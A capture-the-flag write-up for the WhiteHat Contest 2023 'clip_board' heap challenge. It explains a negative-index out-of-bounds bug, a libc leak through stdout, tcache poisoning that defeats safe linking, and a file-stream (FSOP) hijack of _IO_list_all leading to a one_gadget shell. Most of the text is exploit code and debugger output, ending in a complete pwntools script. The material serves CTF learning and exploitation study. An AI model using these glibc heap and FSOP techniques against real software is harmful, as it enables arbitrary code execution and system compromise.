WhiteHat Contest 2023 Quals - clip_board

Table of Contents

0x00. Introduction

[*] '/home/user/clip_board'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Concept

int __fastcall main(int argc, const char **argv, const char **envp)
{
  ...
  v3 = malloc(0x20uLL);
  printf("heap leak: %p\n\n", v3);
  do
  {
    Menu();
    choice = get_int();
    switch ( choice )
    {
      case 1:
        AddClipboard();
        break;
      case 2:
        DelClipboard();
        break;
      case 3:
        ViewClipboard();
        break;
      case 4:
        exit = 1;
        break;
    }
  }
  while ( !exit );
  return 0;
}

Three functions AddClipboard(), DelClipboard(), and ViewClipboard() are implemented based on heap. Conveniently, it prints one heap address, so we don’t need to leak heap separately.

Global Variables

char *chunk_list[10];
char check_chunk_list[10];      // size = 16
int chunk_size_list[10];

For example, when executing AddClipboard() and inputting i for index, these values are set in the above structures.

  • chunk_list[i] : malloc(size)
  • check_chunk_list[i] : 1
  • chunk_size_list[i] : size

Note that check_chunk_list is allocated 16 bytes, perhaps due to alignment.

0x01. Vulnerability

int ViewClipboard()
{
  ...
  printf("index > ");
  index = get_int();
  if ( index <= 9 )
  {
    check = check_chunk_list_4090[index];
    if ( check )
    {
      ptr = chunk_list_4040[index];
      size = chunk_size_list_40A0[index];
      if ( ptr )
      {
        if ( size <= 0x100 )
          return write(1, ptr, size);
      }
    }
  }
  return size;
}

AddClipboard(), DelClipboard(), and ViewClipboard() all have an OOB vulnerability since they don’t verify when the index value is negative.

However, to get the desired behavior, check must have a non-zero value, so we need to be aware the values in the area above check_chunk_list.

0x02. Exploit

Libc Leak

gef➀  x/20gx 0x555555558000
0x555555558000: 0x0000000000000000      0x0000555555558008
0x555555558010: 0x0000000000000000      0x0000000000000000
0x555555558020 <stdout@GLIBC_2.2.5>:    0x00007ffff7fa5780      0x0000000000000000
0x555555558030 <stdin@GLIBC_2.2.5>:     0x00007ffff7fa4aa0      0x0000000000000000
0x555555558040 <chunk_list>:    0x0000000000000000      0x0000000000000000
0x555555558050 <chunk_list+16>: 0x0000000000000000      0x0000000000000000
0x555555558060 <chunk_list+32>: 0x0000000000000000      0x0000000000000000
0x555555558070 <chunk_list+48>: 0x0000000000000000      0x0000000000000000
0x555555558080 <chunk_list+64>: 0x0000000000000000      0x0000000000000000
0x555555558090 <check_chunk_list>:      0x0000000000000000      0x0000000000000000

Looking at the area above chunk_list to exploit the vulnerability with negative index, we can find stdout and stdin.

A bss region address is written to the 0x555555558008 address with the variable name __dso_handle. Checking it revealed it’s only referenced once in __do_global_dtors_aux of fini_array. It’s not particularly meaningful for this challenge, but good to remember for future use.

stdin can be accessed as chunk_list[-2] and stdout as chunk_list[-4]. To read values with ViewClipboard, a non-zero value is needed in check_chunk_list[-2] or check_chunk_list[-4]. This means we need to put a value at 0x55555555808e or 0x55555555808c. But even if we input 9 for index to store the value returned by malloc() at 0x555555558088, 0 is written at 0x55555555808e, since a pointer is written.

Therefore, only stdout can be viewed, and I obtained the libc address with the following payload.

    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

FSOP

gef➀  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/user/clip_board
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/user/clip_board
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/user/clip_board
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/user/clip_board

Since Full RELRO is applied, the GOT area is not writable, so between 0x555555558000 and chunk_list there’s only stdout and stdin.

Since we need to control RIP by modifying stdout or stdin, I searched for resources and found the FSOP technique. For the FSOP technique, I used the content summarized in this post.

In the challenge, we can freely allocate memory using the AddClipboard() function, and since the heap address was provided initially, I calculated the offset and wrote the payload as follows.

    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

Uh… I explained enthusiastically, but there’s actually one major problem. When overwriting stdout at chunk_list[-4] using the OOB vulnerability, memory looks like this image.

overwrite stdout

However, since _IO_flush_all_lockp actually traverses _IO_list_all checking for overflow in file streams, for the attacker’s allocated wide_vtable’s one_gadget function to be called, memory needs to look like this image.

overwrite stdout and unlink _IO_list_all

Therefore, we need to overwrite the _IO_list_all pointer in the libc region…

It’s unfortunate that I wouldn’t have had to do this if I’d found another FSOP scenario that directly accesses values stored in stdout…

Looking at the code with the feeling of seeing a completely new challenge, we can see DelClipboard() has this operation.

int DelClipboard()
{
  ...
      ptr = chunk_list_4040[index];
      if ( ptr )
      {
        free(ptr);
        chunk_list_4040[index] = 0LL;
        check_chunk_list_4090[index] = 0;
        size = chunk_size_list_40A0;
        chunk_size_list_40A0[index] = 0;
      }
  ...
}

It resets the value of check_chunk_list[index] which was set to 1 in AddClipboard() back to 0.

Above check_chunk_list will be addresses of heap regions allocated by malloc(). If the order of malloc() and free() is the same, the offsets will be identical, so we can predict without leaking the allocated address.

Therefore, after aligning heap so that malloc returns a 0xXXXXXXXXXX10 address, creating a fake chunk header at 0xXXXXXXXXXX00 address, then changing the last byte 0x10 to 0x00 allows freeing the fake chunk.

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)

    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

After writing the payload above and executing the code, checking tcache bins for sizes 0x30 and 0x100 shows:

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x555555559470, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Tcachebins[idx=14, size=0x100, count=1] ←  Chunk(addr=0x555555559400, size=0x100, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

This makes the 0x555555559400 area overlap with 0x555555559440 and 0x555555559470, so requesting a 0xf0-sized chunk allows overwriting 0x555555559440’s fd.

Safe Linking Bypass

However, checking 0x555555559440 and 0x555555559470’s fd shows it doesn’t simply store the next chunk’s address, due to tcache’s safe linking.

gef➀  x/6gx 0x555555559440 - 0x10
0x555555559430: 0x0000000000000000      0x0000000000000031
0x555555559440: 0x000055500000c129      0x62cde40f9bbc5877
0x555555559450: 0x4646464646464646      0x4646464646464646
gef➀  x/6gx 0x555555559470 - 0x10
0x555555559460: 0x0000000000000000      0x0000000000000031
0x555555559470: 0x0000000555555559      0x62cde40f9bbc5877
0x555555559480: 0x4747474747474747      0x4747474747474747

To briefly summarize while studying, from glibc 2.32, freed chunks have this structure.

struct tcache_entry {
    struct tcache_entry *next;
    /* This field exists to detect double frees.  */
    struct tcache_perthread_struct *key;
};

In the memory above, 0x62cde40f9bbc5877 is the key, which prevents double free through this logic:

  1. When doing free(ptr),
  2. Verify if ptr->key has proper key value
    • If not, abort
  3. If proper key value exists, traverse tcache bin matching ptr’s size
    • If ptr is in bin, abort

The problem is next. Depending on glibc version (2.35 in this case), pointer masking or encryption is applied, performing the below operation before storing.

// Encryption
entry->next = (tcache_entry *) ((uintptr_t) next ^ (uintptr_t) tcache);

// Decryption
tcache_entry *next = (tcache_entry *) ((uintptr_t) e->next ^ (uintptr_t) tcache);

The tcache value here is supposedly the address of tcache_perthread_struct, but it seemed different from actual memory, so I searched elixir for 2.35 glibc source code but something doesn’t match - needs verification.

Anyway, the actual tcache value used in xor operation is 0x555555559 (heap base address right shifted 12 bits), visible in the 0x555555559470 chunk where next should be null. Therefore, writing the result of xoring 0x555555559 with _IO_list_all’s address 0x7ffff7fa5680 to 0x555555559440 chunk’s next position configures tcache bin as follows.

─────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────
Tcachebins[idx=1, size=0x30, count=2] ←  Chunk(addr=0x555555559440, size=0x30, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
                                      ←  Chunk(addr=0x7ffff7fa5680, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  ←  [Corrupted chunk at 0x7ffff7fa5680]

The 0 located 8 bytes before _IO_list_all’s address 0x7ffff7fa5680 is interpreted as size, resulting corrupted chunk. Fortunately, malloc() doesn’t verify size, successfully returning 0x7ffff7fa5680.

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))

Executing this payload stores the created new_fd address in the targeted _IO_list_all.

gef➀  x/gx 0x7ffff7fa5680
0x7ffff7fa5680 <_IO_list_all>:  0x0000555555559770

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "clip_board"
LIBRARY = "libc.so.6"
CONTAINER = "69049f0398fe"
code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x16FD
}

gs = f'''
gef config gef.bruteforce_main_arena True
b *0x7ffff7e1e8e0
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def add_clipboard(s, index, size, contents, fin=0):
    s.sendline(b"1")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    s.recvuntil(b"> ")
    s.sendline(str(size).encode())
    s.recvuntil(b"> ")
    s.send(contents)
    if fin:
        return
    else:
        return s.recvuntil(b"\n> ")

def del_clipboard(s, index):
    s.sendline(b"2")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def view_clipboard(s, index):
    s.sendline(b"3")
    s.recvuntil(b"> ")
    s.sendline(str(index).encode())
    return s.recvuntil(b"\n> ")

def exit_clipboard(s):
    s.sendline(b"4")
    return

def main(port, debug):
    if(port):
        s = remote("0.0.0.0", port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY)
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)
    heap = int(s.recvuntil(b"> ").split(b'\n')[0].split(b': ')[1], 16) & 0xfffffffffffff000
    log.info(f"heap : {hex(heap)}")
    
    # leak libc
    add_clipboard(s, 1, 0x10, b"A" * 0x10)
    add_clipboard(s, 9, 0x10, b"B" * 0x10)
    r = view_clipboard(s, -4)
    libc = u64(r[8:16]) - 0x21b803
    stdout_fp = r[0:0xe0]
    log.info(f"libc : {hex(libc)}")

    # clean clipboards
    del_clipboard(s, 1)
    del_clipboard(s, 9)

    # align last byte
    add_clipboard(s, -8, 0xc0, b"C" * 0x20)

    # make fake chunk header
    payload = b"D" * 0x10
    payload += p64(0)
    payload += p64(0x101)
    add_clipboard(s, 0, 0x20, payload)

    # allocate XXXXXXXXX410, XXXXXXXXX440, XXXXXXXXX470 chunks
    add_clipboard(s, 9, 0x20, b"E" * 0x30)
    add_clipboard(s, 1, 0x20, b"F" * 0x20)
    add_clipboard(s, 2, 0x20, b"G" * 0x20)
    
    # overwrite 410 -> 400 and free fake chunk (size 0x100)
    del_clipboard(s, -8)
    del_clipboard(s, 9)

    # free XXXXXXXXX440, XXXXXXXXX470
    del_clipboard(s, 2)
    del_clipboard(s, 1)

    # reallocate fake 0x100 chunk and overwrite fd of XXXXXXXXX440
    # now XXXXXXXXX440 -> IO_list_all
    io_list_all = libc + 0x21b680
    payload = b"H" * 0x38
    payload += p64(0x31)
    payload += p64(io_list_all ^ (heap >> 12))
    add_clipboard(s, 3, 0xf0, payload)

    # allocating 5 returns address of IO_list_all
    add_clipboard(s, 4, 0x20, b"I" * 0x20)
    add_clipboard(s, 5, 0x20, p64(heap + 0x770))
    
    # allocate wide_vtable
    one_gadget = libc + 0xebc85
    payload = p64(0) * 2                        # dummy
    payload += p64(one_gadget) * 19
    add_clipboard(s, 6, len(payload), payload)
    wide_vtable = heap + 0x4a0

    # allocate anywhere can read / write
    add_clipboard(s, 7, 0x100, b"\x00" * 8)
    anywhere_rw = heap + 0x550

    # allocate wide_data
    payload = bytearray(0x100)
    payload[0x18:0x20] = p64(0)
    payload[0x20:0x28] = p64(anywhere_rw)
    payload[0x30:0x38] = p64(0)
    payload[0xe0:0xe8] = p64(wide_vtable)
    add_clipboard(s, 8, len(payload), payload)
    wide_data = heap + 0x660

    # allocate new_fp and overwrite stdout
    io_wfile_jumps = libc + 0x2170c0
    payload = bytearray(stdout_fp)
    payload[0:8] = p64(0)                       # stdout -> flags
    payload[0xa0:0xa8] = p64(wide_data)         # stdout -> _wide_data
    payload[0xc0:0xc8] = p64(1)                 # stdout -> mode
    payload[0xd8:0xe0] = p64(io_wfile_jumps)    # stdout -> vtable
    add_clipboard(s, -4, 0x100, payload, fin=1)

    log.info(f"&stdout : 0x555555558020")
    log.info(f"IO_list_all : {hex(io_list_all)}")
    log.info(f"IO_list_all -> 0x7ffff7fab6a0")
    log.info(f"original_stdout : 0x7ffff7fab780")
    log.info(f"wide_data : {hex(wide_data)}")
    log.info(f"io_wfile_jumps : {hex(io_wfile_jumps)}")
    log.info(f"anywhere_rw : {hex(anywhere_rw)}")
    log.info(f"wide_vtable : {hex(wide_vtable)}")
    log.info(f"one_gadget : {hex(one_gadget)}")

    # trigger _IO_flush_all_lockp
    exit_clipboard(s)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.port, args.debug)